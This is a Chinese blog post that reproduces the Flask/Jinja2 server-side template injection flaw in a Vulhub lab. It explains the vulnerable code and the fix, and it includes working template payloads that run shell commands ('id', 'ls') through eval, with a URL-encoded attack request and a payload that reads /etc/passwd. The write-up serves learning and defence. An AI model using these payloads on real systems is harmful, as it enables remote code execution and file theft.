title: flask ssti漏洞复现
date: 2019-04-10 13:12:06
tags:
- python security
- flask ssti
- Vulhub
- 漏洞复现
categories:
- 漏洞复现
- flask/ssti
开一个新坑关于漏洞复现,通过复现漏洞去学习一些东西,vulhub有太多环境了,这里先从一些自己比较熟悉的开始学习。所以选择了flask/ssti
Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个
全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
前言
flask/ssti漏洞,完整叫法应该是: Flask(Jinja2) 服务端模板注入漏洞(SSTI)。上网找了找别人的分析文章。看了一大圈下来,发现都没怎么讲原理,都是直接开干,或许是这个漏洞太简单了吧233~。
不过最后还是找到一篇提了提原理的博客。贴在下面好了,因为我之前略微学了几天flask,所以这个漏洞原理理解复现起来还是挺顺畅的。
Flask(Jinja2) 服务端模板注入漏洞(SSTI)
基础知识
0x01 Flask
Flask简介
Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。
Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
Flask简单示例
flask简单易学,下面代码是flask版的hello world
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World!"
if __name__ == "__main__":
app.run()
简单说下上面代码,第1、2行是初始化过程。3-5行是使用Flask提供的app.route修饰器,把修饰的函数注册为路由。简单讲就是当访问http://xxx.xx.xx/时,使用hello函数进行处理响应。
flask就简单这么提一下吧,具体的我也写不来,毕竟这是分析flask/ssti漏洞,不是flask学习笔记,而且我flask也就之前看过几天。如果有想仔细学flask的兄贵的话,我只能在下面贴个pdf链接了。。
Flask-Web开发:基于Python的Web应用开发实战
0x02 Jinja2
Jinja2简介
Jinja 2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的。Jinja支持python语句
Jinja2 模版部分语法
-
变量
Jinja2 使用{{name}}结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取
Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。Hello, {{ name|capitalize }}
-
if&for语句
if语句简单示例{% if user %} Hello,{{user}} ! {% else %} Hello,Stranger! {% endif %}
for语句循环渲染一组元素
<ul> {% for comment in comments %} <li>{{comment}}</li> {% endfor %} </ul>
漏洞原理
0x01 查看源码
-
cd进flask/ssti目录,开启ssti环境
-
访问一下目标环境,可以看到开启成功
-
接下来看一下网页app.py源码
from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render() if __name__ == "__main__": app.run()
0x02 漏洞成因分析
可以看到上面第10行代码 t = Template("Hello " + name)
,Template()完全可控,那么就可以直接写入jinja2的模板语言,如下图,页面返回54289,证明存在ssti漏洞
0x03 漏洞预防测试
当然这不是jinja 2的问题,而是网站开发人员的疏漏,如果我们可以对上面代码稍作修改,即可以避免
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/safe")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello,{{n}} ")
return t.render(n=name)
if __name__ == "__main__":
app.run()
上面修改后代码第6行,将其路由到/safe页面进行访问测试,可以看到原本存在的代码注入漏洞就不存在了
漏洞利用
前面分析了ssti漏洞成因,现在就来讲讲如何利用这个注入漏洞搞点事情。首先给出vulhub官网上的文档的POC,后面再分析原理。
获取eval函数执行任意代码测试
Vulhub上的ssti文档是直接给了个获取eval函数并执行任意python代码的POC
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
直接访问下面链接,可以得到结果
http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
python沙盒逃逸
上面的POC测试用到一堆python特殊方法,初一看还看不懂,于是网上找了找资料学习总结了一下。
找到的一些资料博客里管这个叫python沙盒逃逸。于是又查了下python沙盒逃逸的定义。
下面是一些python基础知识
python特殊方法
0x01 __class__
__class__,返回当前对象所属的类
0x02 __base__ && __bases__
__base__ 和 __bases__ 作用都是返回当前类所继承的类,即基类,区别是base返回单个,bases以元组形式返回所有基类。
0x03 __mro__
以元组形式返回继承关系链
0x04 __globals__
以dict形式返回函数所在模块命名空间中的所有变量
0x05 __subclasses__()
以列表形式返回类的子类
0x06 __builtin__ && __builtins__
python中可以直接运行一些函数,例如int(),list()等等。这些函数可以在builtins中可以查到。查看的方法是dir(builtins)。在控制台中直接输入builtins会看到如下情况(python2)
在python3中__builtin__被换成了builtin,python3中使用方法如下图
__builtin__ 和 __builtins__之间是什么关系呢?
在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此。
非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身
利用python特殊方法bypass沙盒
0x01 用file对象读取文件(python2)
构造继承链的思路是
- 随便找一个内置类对象用class拿到他所对应的类
- 用bases拿到基类(<class 'object'>)
- 用subclasses()拿到子类列表
- 在子类列表中直接寻找可以利用的类
().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()
在这堆列表里找到file对应的对象
t = ().__class__.__bases__[0].__subclasses__()
for c in t:
if c.__name__ == 'file':
print t.index(c)
现在用dir查看file对象的内置方法:
dir(().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()[40])
利用readlines方法读取/etc/passwd文件
().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()[40]('/etc/passwd').readlines
故可以构造ssti payload
{% for c in ().__class__.__bases__[0].__subclasses__():%}
{% if c.__name__ == 'file':%}
{{"Success! File contents is <br />"}}
{% c('/etc/passwd').readlines() %}
{% endif %}
{% endfor %}
**注意: python3中file对象已不存在,故上面payload只适用于Python2
0x02寻找__builtins__中的eval
上面file对象只能Python2使用,那么如果遇上Python3该怎么办呢。
关于__builtins__,本文之前介绍python特殊方法是提到过,它包含了python的内置函数,而eval正在里面。所以只要找到eval,管他python2、python3,盘就完事了。
分别用python2、python3运行下面代码,找出含__builtins__的类,找一个python2、3共有的类
for c in ().__class__.__bases__[0].__subclasses__():
try: #这里代码为啥要用try呢,因为不是每个对象都有\_\_globals__
if '__builtins__' in c.__init__.__globals__.keys():
print(c.name)
except:
pass
如:_IterationGuard
类是python 2、3共有
则可以构造下面payload,执行ls命令
{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}
总结
整个ssti复现下来,感觉还是很轻松的,可能是对python flask比较熟悉吧,希望接下来的其他漏洞复现不会自闭。。。